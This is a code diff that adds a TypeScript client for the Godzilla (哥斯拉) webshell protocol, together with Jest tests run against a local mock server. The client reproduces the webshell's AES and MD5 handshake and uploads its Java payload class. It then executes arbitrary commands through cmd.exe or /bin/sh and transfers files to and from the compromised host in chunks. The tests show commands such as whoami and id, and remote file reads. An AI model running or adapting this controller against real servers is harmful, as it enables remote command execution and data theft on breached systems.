+ it("reports network errors", async () => {
+ const result = await testGodzilla("http://127.0.0.1:1/x", "pass", "key", { timeoutMs: 2000 });
+ expect(result.ok).toBe(false);
+ expect(result.error).toBeTruthy();
+ });
+});
+
+describe("execGodzilla", () => {
+ let server: Server;
+ let base: string;
+ const state: MockState = newMockState();
+
+ beforeAll(async () => {
+ server = await startMock(state);
+ base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`;
+ });
+
+ afterAll(() => new Promise((resolve) => server.close(resolve)));
+
+ it("wraps the command in cmd.exe on auto-detected Windows", async () => {
+ const result = await execGodzilla(`${base}/godzilla`, "pass", "key", "whoami", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.output).toBe("MOCK-EXEC:cmd.exe /c whoami");
+ });
+
+ it("wraps the command in /bin/sh on auto-detected Linux", async () => {
+ const result = await execGodzilla(`${base}/godzilla-linux`, "pass", "key", "id", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.output).toBe("MOCK-EXEC:/bin/sh -c id");
+ });
+
+ it("skips OS detection when os is given explicitly", async () => {
+ state.basicsInfoCalls = 0;
+ const result = await execGodzilla(`${base}/godzilla`, "pass", "key", "id", {
+ headerValue: GATE,
+ os: "linux",
+ });
+ expect(result.ok).toBe(true);
+ expect(result.output).toBe("MOCK-EXEC:/bin/sh -c id");
+ expect(state.basicsInfoCalls).toBe(0);
+ });
+
+ it("fails with a wrong key", async () => {
+ const result = await execGodzilla(`${base}/godzilla`, "pass", "wrong", "id", {
+ headerValue: GATE,
+ os: "linux",
+ });
+ expect(result.ok).toBe(false);
+ expect(result.error).toBeTruthy();
+ });
+
+ it("fails without the gate header", async () => {
+ const result = await execGodzilla(`${base}/godzilla`, "pass", "key", "id", { os: "linux" });
+ expect(result.ok).toBe(false);
+ });
+});
+
+
+describe("downloadGodzilla", () => {
+ let server: Server;
+ let base: string;
+ const state: MockState = newMockState();
+
+ beforeAll(async () => {
+ server = await startMock(state);
+ base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`;
+ });
+
+ afterAll(() => new Promise((resolve) => server.close(resolve)));
+
+ const BINARY = (() => {
+ // includes the gzip magic prefix and non-UTF8 bytes — the transfer must
+ // not mangle them through the gzip envelope
+ const b = Buffer.alloc(256);
+ for (let i = 0; i < 256; i++) b[i] = i;
+ b[0] = 0x1f;
+ b[1] = 0x8b;
+ return b;
+ })();
+
+ it("downloads a small binary file byte-for-byte", async () => {
+ state.files.set("/tmp/a.bin", BINARY);
+ const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/a.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.bytes).toBe(BINARY.length);
+ expect(result.data?.equals(BINARY)).toBe(true);
+ });
+
+ it("downloads a file in small chunks (offset math)", async () => {
+ const big = Buffer.alloc(1000);
+ for (let i = 0; i < big.length; i++) big[i] = (i * 31 + 7) % 256;
+ state.files.set("/tmp/chunked.bin", big);
+ const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/chunked.bin", {
+ headerValue: GATE,
+ chunkSize: 7,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.data?.equals(big)).toBe(true);
+ });
+
+ it("downloads an empty file", async () => {
+ state.files.set("/tmp/empty.bin", Buffer.alloc(0));
+ const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/empty.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.bytes).toBe(0);
+ expect(result.data?.length).toBe(0);
+ });
+
+ it("fails for a missing remote file (size 0 probe unmasks it)", async () => {
+ state.files.delete("/tmp/nope.bin");
+ const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/nope.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ expect(result.error).toMatch(/FileNotFoundException|read failed/);
+ });
+
+ it("fails when the size probe is garbage", async () => {
+ state.fakeSize = "Exception errMsg:boom";
+ const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/a.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ expect(result.error).toContain("cannot get remote file size");
+ state.fakeSize = undefined;
+ });
+
+ it("refuses files over 2 GiB", async () => {
+ state.fakeSize = "3000000000";
+ const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/huge.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ expect(result.error).toContain("2 GiB");
+ state.fakeSize = undefined;
+ });
+
+ it("decodes GBK error text from non-UTF-8 servers", async () => {
+ // "系统找不到指定的路径。" in GBK — what a Chinese-Windows payload returns
+ state.fakeSizeRaw = Buffer.from([
+ 0xcf, 0xb5, 0xcd, 0xb3, 0xd5, 0xd2, 0xb2, 0xbb, 0xb5, 0xbd, 0xd6, 0xb8, 0xb6, 0xa8, 0xb5,
+ 0xc4, 0xc2, 0xb7, 0xbe, 0xb6, 0xa1, 0xa3,
+ ]);
+ const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/missing.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ expect(result.error).toContain("系统找不到指定的路径");
+ state.fakeSizeRaw = undefined;
+ });
+
+ it("retries failed reads and succeeds", async () => {
+ state.files.set("/tmp/flaky.bin", BINARY);
+ state.failNextReads = 2; // CHUNK_ATTEMPTS is 3
+ const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/flaky.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.data?.equals(BINARY)).toBe(true);
+ });
+
+ it("gives up after the retry budget", async () => {
+ state.files.set("/tmp/dead.bin", BINARY);
+ state.failNextReads = 10;
+ const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/dead.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ expect(result.error).toMatch(/read failed at offset 0/);
+ state.failNextReads = 0;
+ });
+
+ it("fails with a wrong key", async () => {
+ const result = await downloadGodzilla(`${base}/godzilla`, "pass", "wrong", "/tmp/a.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ });
+
+ it("fails without the gate header", async () => {
+ const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/a.bin");
+ expect(result.ok).toBe(false);
+ });
+
+ it("encodes non-ASCII paths in --remote-charset (GBK server)", async () => {
+ state.fileEncoding = "GBK";
+ const name = "C:\\测试\\配置.ini";
+ state.files.set(name, BINARY);
+ const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", name, {
+ headerValue: GATE,
+ remoteCharset: "GBK",
+ });
+ expect(result.ok).toBe(true);
+ expect(result.data?.equals(BINARY)).toBe(true);
+ state.fileEncoding = undefined;
+ });
+
+ it("UTF-8 default does not reach non-ASCII paths on a GBK server", async () => {
+ state.fileEncoding = "GBK";
+ const name = "C:\\测试\\配置.ini";
+ state.files.set(name, BINARY);
+ const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", name, {
+ headerValue: GATE,
+ });
+ // the mojibake name simply does not exist remotely — a clean, readable failure
+ expect(result.ok).toBe(false);
+ expect(result.error).toMatch(/FileNotFoundException|read failed|cannot get/);
+ state.fileEncoding = undefined;
+ });
+
+ it("still works for non-ASCII paths on a UTF-8 server with the default", async () => {
+ const name = "/opt/应用/config.ini";
+ state.files.set(name, BINARY);
+ const result = await downloadGodzilla(`${base}/godzilla`, "pass", "key", name, {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.data?.equals(BINARY)).toBe(true);
+ });
+});
+
+describe("uploadGodzilla", () => {
+ let server: Server;
+ let base: string;
+ const state: MockState = newMockState();
+
+ beforeAll(async () => {
+ server = await startMock(state);
+ base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`;
+ });
+
+ afterAll(() => new Promise((resolve) => server.close(resolve)));
+
+ it("uploads a small file in a single call and verifies the size", async () => {
+ const data = Buffer.from("hello godzilla upload \u0000\u00ff", "latin1");
+ const result = await uploadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/up.bin", data, {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.bytes).toBe(data.length);
+ expect(state.files.get("/tmp/up.bin")?.equals(data)).toBe(true);
+ });
+
+ it("truncates an existing longer remote file", async () => {
+ state.files.set("/tmp/trunc.bin", Buffer.alloc(100, 0x41));
+ const data = Buffer.from("short");
+ const result = await uploadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/trunc.bin", data, {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(state.files.get("/tmp/trunc.bin")?.equals(data)).toBe(true);
+ });
+
+ it("uploads in small chunks with absolute offsets", async () => {
+ const data = Buffer.alloc(1000);
+ for (let i = 0; i < data.length; i++) data[i] = (i * 13 + 5) % 256;
+ const result = await uploadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/bigup.bin", data, {
+ headerValue: GATE,
+ chunkSize: 7,
+ });
+ expect(result.ok).toBe(true);
+ expect(state.files.get("/tmp/bigup.bin")?.equals(data)).toBe(true);
+ });
+
+ it("uploads an empty file (create/truncate)", async () => {
+ state.files.set("/tmp/emptyup.bin", Buffer.from("old content"));
+ const result = await uploadGodzilla(
+ `${base}/godzilla`,
+ "pass",
+ "key",
+ "/tmp/emptyup.bin",
+ Buffer.alloc(0),
+ { headerValue: GATE },
+ );
+ expect(result.ok).toBe(true);
+ expect(state.files.get("/tmp/emptyup.bin")?.length).toBe(0);
+ });
+
+ it("retries failed chunks", async () => {
+ const data = Buffer.alloc(50, 0x62);
+ state.failNextUploads = 2;
+ const result = await uploadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/flaky.bin", data, {
+ headerValue: GATE,
+ chunkSize: 10,
+ });
+ expect(result.ok).toBe(true);
+ expect(state.files.get("/tmp/flaky.bin")?.equals(data)).toBe(true);
+ });
+
+ it("aborts after the retry budget and reports the offset", async () => {
+ const data = Buffer.alloc(50, 0x63);
+ state.failNextUploads = 10;
+ const result = await uploadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/dead.bin", data, {
+ headerValue: GATE,
+ chunkSize: 10,
+ });
+ expect(result.ok).toBe(false);
+ expect(result.error).toMatch(/upload failed at offset 0\/50/);
+ state.failNextUploads = 0;
+ });
+
+ it("fails when the size verification mismatches", async () => {
+ const data = Buffer.from("verify me");
+ state.fakeSize = "12345";
+ const result = await uploadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/ver.bin", data, {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ expect(result.error).toMatch(/remote size mismatch/);
+ state.fakeSize = undefined;
+ });
+
+ it("round-trips: chunked upload then download", async () => {
+ const data = Buffer.alloc(500);
+ for (let i = 0; i < data.length; i++) data[i] = (i * 17 + 3) % 256;
+ const up = await uploadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/rt.bin", data, {
+ headerValue: GATE,
+ chunkSize: 64,
+ });
+ expect(up.ok).toBe(true);
+ const down = await downloadGodzilla(`${base}/godzilla`, "pass", "key", "/tmp/rt.bin", {
+ headerValue: GATE,
+ chunkSize: 128,
+ });
+ expect(down.ok).toBe(true);
+ expect(down.data?.equals(data)).toBe(true);
+ });
+
+ it("uploads to a non-ASCII path on a GBK server (--remote-charset)", async () => {
+ state.fileEncoding = "GBK";
+ const name = "D:\\数据\\上传-日志.bin";
+ const data = Buffer.from("gbk upload content", "utf8");
+ const result = await uploadGodzilla(`${base}/godzilla`, "pass", "key", name, data, {
+ headerValue: GATE,
+ remoteCharset: "GBK",
+ });
+ expect(result.ok).toBe(true);
+ expect(state.files.get(name)?.equals(data)).toBe(true);
+ state.fileEncoding = undefined;
+ });
+});
diff --git a/tools/cli/src/connect/godzilla.ts b/tools/cli/src/connect/godzilla.ts
new file mode 100644
index 00000000..6839a282
--- /dev/null
+++ b/tools/cli/src/connect/godzilla.ts
@@ -0,0 +1,542 @@
+/**
+ * Godzilla (哥斯拉) protocol client — JavaDynamicPayload.
+ *
+ * Mirrors the Godzilla client's connect + payload method calls:
+ * xc = md5(key)[0:16] (AES key)
+ * md5 = md5(pass + xc), uppercase (response wrapper)
+ * 1. POST `pass=urlencode(base64(AES(payloadClass)))` — the shell stores the
+ * payload class (static field or http session, hence the cookie relay)
+ * 2. POST `pass=urlencode(base64(AES(gzip(serialize({methodName:...})))))`
+ * 3. response = md5[0:16] + base64(AES(gzip(result))) + md5[16:32]
+ *
+ * `Parameter.serialize` format: key bytes + 0x02 + little-endian u32 length +
+ * value. Values are raw bytes — the payload does no base64 decoding
+ * (`getByteArray` returns them as-is).
+ */
+import iconv from "iconv-lite";
+
+import { GODZILLA_PAYLOAD_BYTES } from "./assets.js";
+import { aesEcbDecrypt, aesEcbEncrypt, gunzipLenient, gzip, md5Hex, md5Key16 } from "./crypto.js";
+import { extractCookies, postRaw } from "./http.js";
+import {
+ buildHeaders,
+ type CommonConnectOptions,
+ type ConnectTestResult,
+ type DownloadResult,
+ type ExecResult,
+ type TransferResult,
+} from "./types.js";
+
+/** Godzilla's `Parameter.serialize`: key bytes + 0x02 + little-endian u32 length + value. */
+function serializeParams(params: Array<[string, Buffer]>): Buffer {
+ const parts: Buffer[] = [];
+ for (const [key, value] of params) {
+ const len = Buffer.alloc(4);
+ len.writeUInt32LE(value.length, 0);
+ parts.push(Buffer.from(key, "utf8"), Buffer.from([0x02]), len, value);
+ }
+ return Buffer.concat(parts);
+}
+
+function encodeBody(pass: string, xc: string, data: Buffer): Buffer {
+ const encrypted = aesEcbEncrypt(data, xc).toString("base64");
+ return Buffer.from(`${pass}=${encodeURIComponent(encrypted)}`, "utf8");
+}
+
+function excerpt(body: Buffer): string {
+ const text = body
+ .toString("latin1")
+ .replace(/[^\x20-\x7e]+/g, " ")
+ .trim();
+ return text.length > 200 ? `${text.slice(0, 200)}...` : text;
+}
+
+function errMsg(err: unknown): string {
+ return err instanceof Error ? err.message : String(err);
+}
+
+/**
+ * Decode payload status/error text. Method results like "ok" and the size
+ * digits are ASCII either way, but exception messages go through the
+ * payload's `String.getBytes()` — the server's *platform default* charset
+ * (UTF-8 on most Linux, GBK on Chinese Windows). Try strict UTF-8 first,
+ * fall back to GBK so the user gets a readable reason instead of mojibake.
+ * Never used on file content — only on short status/error strings.
+ */
+function decodeServerText(buf: Buffer): string {
+ try {
+ return new TextDecoder("utf-8", { fatal: true }).decode(buf);
+ } catch {
+ try {
+ return new TextDecoder("gbk").decode(buf);
+ } catch {
+ return buf.toString("utf8");
+ }
+ }
+}
+
+/**
+ * Encode a remote path for the wire. The payload decodes parameter strings
+ * with the server's platform default charset (`new String(bytes)`), so on a
+ * non-UTF-8 server (old JDK on Chinese Windows → GBK) a non-ASCII path must
+ * be sent in that charset. The user tells us via --remote-charset (probing
+ * file.encoding would need getBasicsInfo, whose reverse-DNS lookups can
+ * block for tens of seconds — the Godzilla GUI pays the same cost). iconv
+ * covers every Java charset label (GBK, MS932, Cp1252, ...); unknown labels
+ * degrade to UTF-8. ASCII paths are byte-identical in every charset.
+ */
+function encodeRemotePath(remotePath: string, remoteCharset: string | undefined): Buffer {
+ if (remoteCharset === undefined || /^utf-?8$/i.test(remoteCharset)) {
+ return Buffer.from(remotePath, "utf8");
+ }
+ if (!iconv.encodingExists(remoteCharset)) {
+ return Buffer.from(remotePath, "utf8");
+ }
+ return iconv.encode(remotePath, remoteCharset);
+}
+
+interface GodzillaSession {
+ /** Invoke a payload method; resolves to the decrypted + gunzipped result. */
+ callMethod(methodName: string, extraParams?: Array<[string, Buffer]>): Promise;
+}
+
+/**
+ * Upload the payload class (request 1) and return an invoker for payload
+ * methods (request 2+), bound to the session cookie the shell handed out.
+ * Throws on transport errors; `callMethod` throws when the response is not a
+ * valid Godzilla envelope.
+ */
+async function openGodzillaSession(
+ url: string,
+ pass: string,
+ key: string,
+ options: CommonConnectOptions = {},
+): Promise {
+ const xc = md5Key16(key);
+ const wrapper = md5Hex(pass + xc).toUpperCase();
+ const left = wrapper.slice(0, 16);
+ const right = wrapper.slice(16);
+
+ const baseHeaders = buildHeaders(
+ { "Content-Type": "application/x-www-form-urlencoded" },
+ options,
+ );
+ const post = (data: Buffer, cookie?: string) =>
+ postRaw(url, encodeBody(pass, xc, data), {
+ headers: cookie ? { ...baseHeaders, Cookie: cookie } : baseHeaders,
+ timeoutMs: options.timeoutMs,
+ insecure: options.insecure,
+ });
+
+ // ---- request 1: upload the payload class ----
+ const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
+ const cookies = extractCookies(initResponse.headers);
+ const cookie = cookies.length > 0 ? cookies.join("; ") : undefined;
+
+ return {
+ async callMethod(methodName: string, extraParams: Array<[string, Buffer]> = []) {
+ const callData = gzip(
+ serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams]),
+ );
+ const res = await post(callData, cookie);
+ const text = res.body.toString("latin1");
+ const leftIdx = text.indexOf(left);
+ const rightIdx = leftIdx === -1 ? -1 : text.indexOf(right, leftIdx + left.length);
+ if (leftIdx === -1 || rightIdx === -1) {
+ throw new Error(
+ `HTTP ${res.status}, response lacks the Godzilla wrapper` +
+ (text.trim().length > 0 ? ` (starts with: ${excerpt(res.body)})` : " (empty body)") +
+ " — wrong pass/key, missing gate header, or not a Godzilla shell",
+ );
+ }
+ const wrapped = text.slice(leftIdx + left.length, rightIdx);
+ try {
+ return gunzipLenient(aesEcbDecrypt(Buffer.from(wrapped, "base64"), xc));
+ } catch {
+ throw new Error("found wrapper but failed to decrypt — wrong key?");
+ }
+ },
+ };
+}
+
+export async function testGodzilla(
+ url: string,
+ pass: string,
+ key: string,
+ options: CommonConnectOptions = {},
+): Promise {
+ const started = Date.now();
+
+ let session: GodzillaSession;
+ try {
+ session = await openGodzillaSession(url, pass, key, options);
+ } catch (err) {
+ return {
+ ok: false,
+ tool: "godzilla",
+ url,
+ error: errMsg(err),
+ durationMs: Date.now() - started,
+ };
+ }
+
+ let result: string;
+ try {
+ result = (await session.callMethod("test")).toString("utf8").trim();
+ } catch (err) {
+ return {
+ ok: false,
+ tool: "godzilla",
+ url,
+ error: errMsg(err),
+ durationMs: Date.now() - started,
+ };
+ }
+
+ if (result === "ok") {
+ return {
+ ok: true,
+ tool: "godzilla",
+ url,
+ detail: `payload uploaded, "test" returned ok`,
+ durationMs: Date.now() - started,
+ };
+ }
+ return {
+ ok: false,
+ tool: "godzilla",
+ url,
+ error: `decrypted response is ${JSON.stringify(result)}, expected "ok"`,
+ durationMs: Date.now() - started,
+ };
+}
+
+export interface GodzillaExecOptions extends CommonConnectOptions {
+ /**
+ * Remote OS family, used to pick the shell wrapper (`cmd.exe /c` vs
+ * `/bin/sh -c`). "auto" (default) asks the payload's `getBasicsInfo`
+ * first — one extra request per exec.
+ */
+ os?: "auto" | "windows" | "linux";
+}
+
+/**
+ * Godzilla command execution — invokes the payload's `execCommand` method.
+ * The payload runs `Runtime.exec(argv)` (no shell of its own), so the
+ * command line is wrapped in `cmd.exe /c` or `/bin/sh -c` here.
+ */
+export async function execGodzilla(
+ url: string,
+ pass: string,
+ key: string,
+ command: string,
+ options: GodzillaExecOptions = {},
+): Promise {
+ const started = Date.now();
+ const fail = (error: string): ExecResult => ({
+ ok: false,
+ tool: "godzilla",
+ url,
+ command,
+ error,
+ durationMs: Date.now() - started,
+ });
+
+ let session: GodzillaSession;
+ try {
+ session = await openGodzillaSession(url, pass, key, options);
+ } catch (err) {
+ return fail(errMsg(err));
+ }
+
+ // ---- optional: detect the remote OS ----
+ let os = options.os ?? "auto";
+ if (os === "auto") {
+ try {
+ const info = (await session.callMethod("getBasicsInfo")).toString("utf8");
+ const osLine = info.split("\n").find((l) => l.startsWith("OsInfo :")) ?? info;
+ os = /os\.name:[^\n]*windows/i.test(osLine) ? "windows" : "linux";
+ } catch (err) {
+ return fail(errMsg(err));
+ }
+ }
+
+ // ---- execCommand ----
+ const argv =
+ os === "windows" ? ["cmd.exe", "/c", command] : ["/bin/sh", "-c", command];
+ const params: Array<[string, Buffer]> = [
+ ["argsCount", Buffer.from(String(argv.length), "utf8")],
+ ...argv.map((arg, i): [string, Buffer] => [`arg-${i}`, Buffer.from(arg, "utf8")]),
+ ];
+ try {
+ const output = await session.callMethod("execCommand", params);
+ return {
+ ok: true,
+ tool: "godzilla",
+ url,
+ command,
+ output: output.toString("utf8"),
+ durationMs: Date.now() - started,
+ };
+ } catch (err) {
+ return fail(errMsg(err));
+ }
+}
+
+/** 1 MiB — the Godzilla client's own big-file block size. */
+const DEFAULT_CHUNK = 1024 * 1024;
+/** The payload parses position/readByteNum as Java int — no >2 GiB files. */
+const MAX_REMOTE_SIZE = 0x7fffffff;
+/** Per-chunk attempts; offset-based writes/reads are idempotent, so retry is safe. */
+const CHUNK_ATTEMPTS = 3;
+
+export interface GodzillaTransferOptions extends CommonConnectOptions {
+ /** Chunk size for the big-file transfer loop (default 1 MiB). */
+ chunkSize?: number;
+ /**
+ * Charset of the remote JVM's platform default encoding (any Java label —
+ * "GBK", "MS932", ...), used to encode non-ASCII remote paths. Default
+ * UTF-8 (correct on JDK 18+ and virtually all Linux servers).
+ */
+ remoteCharset?: string;
+}
+
+function fileParams(pathBytes: Buffer, extra: Array<[string, Buffer]>): Array<[string, Buffer]> {
+ return [["fileName", pathBytes], ...extra];
+}
+
+/**
+ * Godzilla file download — the payload's `bigFileDownload` method:
+ * mode=fileSize -> decimal ASCII size (File.length(); 0 for missing files!)
+ * mode=read -> up to readByteNum raw bytes starting at position
+ * A chunk is accepted iff `chunk.length == readByteNum` (full read) or
+ * `chunk.length + downloaded == fileSize` (short read at EOF) — the same
+ * criterion the Godzilla client uses; anything else is the payload's error
+ * text ("Exception errMsg:..."), never file content to keep.
+ */
+export async function downloadGodzilla(
+ url: string,
+ pass: string,
+ key: string,
+ remotePath: string,
+ options: GodzillaTransferOptions = {},
+): Promise {
+ const started = Date.now();
+ const fail = (error: string): DownloadResult => ({
+ ok: false,
+ tool: "godzilla",
+ url,
+ direction: "download",
+ remotePath,
+ error,
+ durationMs: Date.now() - started,
+ });
+
+ let session: GodzillaSession;
+ try {
+ session = await openGodzillaSession(url, pass, key, options);
+ } catch (err) {
+ return fail(errMsg(err));
+ }
+ const pathBytes = encodeRemotePath(remotePath, options.remoteCharset);
+
+ // ---- size probe ----
+ let sizeText: string;
+ try {
+ sizeText = decodeServerText(
+ await session.callMethod(
+ "bigFileDownload",
+ fileParams(pathBytes, [
+ ["mode", Buffer.from("fileSize")],
+ ["position", Buffer.from("0")],
+ ["readByteNum", Buffer.from("0")],
+ ]),
+ ),
+ ).trim();
+ } catch (err) {
+ return fail(errMsg(err));
+ }
+ if (!/^\d+$/.test(sizeText)) {
+ return fail(`cannot get remote file size — server said: ${JSON.stringify(sizeText)}`);
+ }
+ const size = Number.parseInt(sizeText, 10);
+ if (size > MAX_REMOTE_SIZE) {
+ return fail(
+ `remote file is ${size} bytes — the Godzilla payload cannot handle files over 2 GiB`,
+ );
+ }
+
+ // ---- chunked read ----
+ // A zero-byte size still gets one probe read: File.length() is 0 both for
+ // "exists and empty" and for "does not exist". A read with readByteNum=0
+ // tells them apart — the payload's read(byte[0]) returns 0 bytes (success)
+ // for an existing file, while a missing file throws FileNotFoundException
+ // in the FileInputStream constructor (an "Exception errMsg:..." string
+ // that fails the acceptance criterion below). Note readByteNum>0 at EOF
+ // makes the payload fail with "Exception errMsg:-1" (NegativeArraySize),
+ // so the probe must ask for exactly 0 bytes.
+ const chunkSize = options.chunkSize ?? DEFAULT_CHUNK;
+ const parts: Buffer[] = [];
+ let downloaded = 0;
+ for (;;) {
+ if (size > 0 && downloaded >= size) break;
+ if (size === 0 && parts.length > 0) break;
+
+ const want = size === 0 ? 0 : Math.min(chunkSize, size - downloaded);
+ let chunk: Buffer | null = null;
+ let serverSays = "";
+ for (let attempt = 1; attempt <= CHUNK_ATTEMPTS && chunk === null; attempt++) {
+ try {
+ const res = await session.callMethod(
+ "bigFileDownload",
+ fileParams(pathBytes, [
+ ["mode", Buffer.from("read")],
+ ["position", Buffer.from(String(downloaded))],
+ ["readByteNum", Buffer.from(String(want))],
+ ]),
+ );
+ if (res.length === want || res.length + downloaded === size) {
+ chunk = res;
+ } else {
+ serverSays = decodeServerText(res).trim();
+ }
+ } catch (err) {
+ serverSays = errMsg(err);
+ }
+ }
+ if (chunk === null) {
+ return fail(
+ `read failed at offset ${downloaded}/${size} — server said: ${JSON.stringify(serverSays)}`,
+ );
+ }
+ parts.push(chunk);
+ downloaded += chunk.length;
+ }
+
+ const data = Buffer.concat(parts);
+ if (data.length !== size) {
+ return fail(
+ `incomplete download: got ${data.length} of ${size} bytes — the file changed during transfer?`,
+ );
+ }
+ return {
+ ok: true,
+ tool: "godzilla",
+ url,
+ direction: "download",
+ remotePath,
+ bytes: data.length,
+ data,
+ durationMs: Date.now() - started,
+ };
+}
+
+/**
+ * Godzilla file upload.
+ * Small files (≤ chunkSize) go in one `uploadFile` call (truncate + write —
+ * the payload's whole-file method, same as the Godzilla client's normal
+ * upload). Bigger files use `bigFileUpload` with an absolute `position`
+ * (RandomAccessFile seek + write, idempotent → safe per-chunk retry).
+ * Afterwards the remote size is verified via `bigFileDownload mode=fileSize`.
+ */
+export async function uploadGodzilla(
+ url: string,
+ pass: string,
+ key: string,
+ remotePath: string,
+ data: Buffer,
+ options: GodzillaTransferOptions = {},
+): Promise {
+ const started = Date.now();
+ const fail = (error: string): TransferResult => ({
+ ok: false,
+ tool: "godzilla",
+ url,
+ direction: "upload",
+ remotePath,
+ error,
+ durationMs: Date.now() - started,
+ });
+
+ let session: GodzillaSession;
+ try {
+ session = await openGodzillaSession(url, pass, key, options);
+ } catch (err) {
+ return fail(errMsg(err));
+ }
+ const pathBytes = encodeRemotePath(remotePath, options.remoteCharset);
+
+ const chunkSize = options.chunkSize ?? DEFAULT_CHUNK;
+ if (data.length <= chunkSize) {
+ let text: string;
+ try {
+ text = decodeServerText(
+ await session.callMethod("uploadFile", fileParams(pathBytes, [["fileValue", data]])),
+ ).trim();
+ } catch (err) {
+ return fail(errMsg(err));
+ }
+ if (text !== "ok") {
+ return fail(`server said: ${JSON.stringify(text)}`);
+ }
+ } else {
+ let offset = 0;
+ while (offset < data.length) {
+ const chunk = data.subarray(offset, Math.min(offset + chunkSize, data.length));
+ let ok = false;
+ let serverSays = "";
+ for (let attempt = 1; attempt <= CHUNK_ATTEMPTS && !ok; attempt++) {
+ try {
+ const res = await session.callMethod(
+ "bigFileUpload",
+ fileParams(pathBytes, [
+ ["fileContents", chunk],
+ ["position", Buffer.from(String(offset))],
+ ]),
+ );
+ serverSays = decodeServerText(res).trim();
+ ok = serverSays === "ok";
+ } catch (err) {
+ serverSays = errMsg(err);
+ }
+ }
+ if (!ok) {
+ return fail(
+ `upload failed at offset ${offset}/${data.length} — server said: ${JSON.stringify(serverSays)}`,
+ );
+ }
+ offset += chunk.length;
+ }
+ }
+
+ // ---- verify the remote size matches ----
+ try {
+ const sizeText = decodeServerText(
+ await session.callMethod(
+ "bigFileDownload",
+ fileParams(pathBytes, [
+ ["mode", Buffer.from("fileSize")],
+ ["position", Buffer.from("0")],
+ ["readByteNum", Buffer.from("0")],
+ ]),
+ ),
+ ).trim();
+ if (!/^\d+$/.test(sizeText) || Number.parseInt(sizeText, 10) !== data.length) {
+ return fail(
+ `upload finished but remote size mismatch — sent ${data.length} bytes, server said: ${JSON.stringify(sizeText)}`,
+ );
+ }
+ } catch (err) {
+ return fail(`upload finished but size verification failed: ${errMsg(err)}`);
+ }
+
+ return {
+ ok: true,
+ tool: "godzilla",
+ url,
+ direction: "upload",
+ remotePath,
+ bytes: data.length,
+ durationMs: Date.now() - started,
+ };
+}
diff --git a/tools/cli/src/connect/http.ts b/tools/cli/src/connect/http.ts
new file mode 100644
index 00000000..426a2ba2
--- /dev/null
+++ b/tools/cli/src/connect/http.ts
@@ -0,0 +1,115 @@
+/**
+ * Minimal raw-HTTP POST helper for the shell connection testers.
+ *
+ * Uses node:http/https directly instead of fetch because the testers need
+ * exact control over the body bytes, access to raw Set-Cookie headers, an
+ * optional insecure-TLS mode, and no automatic redirect following.
+ */
+import http from "node:http";
+import https from "node:https";
+
+export interface RawPostOptions {
+ headers?: Record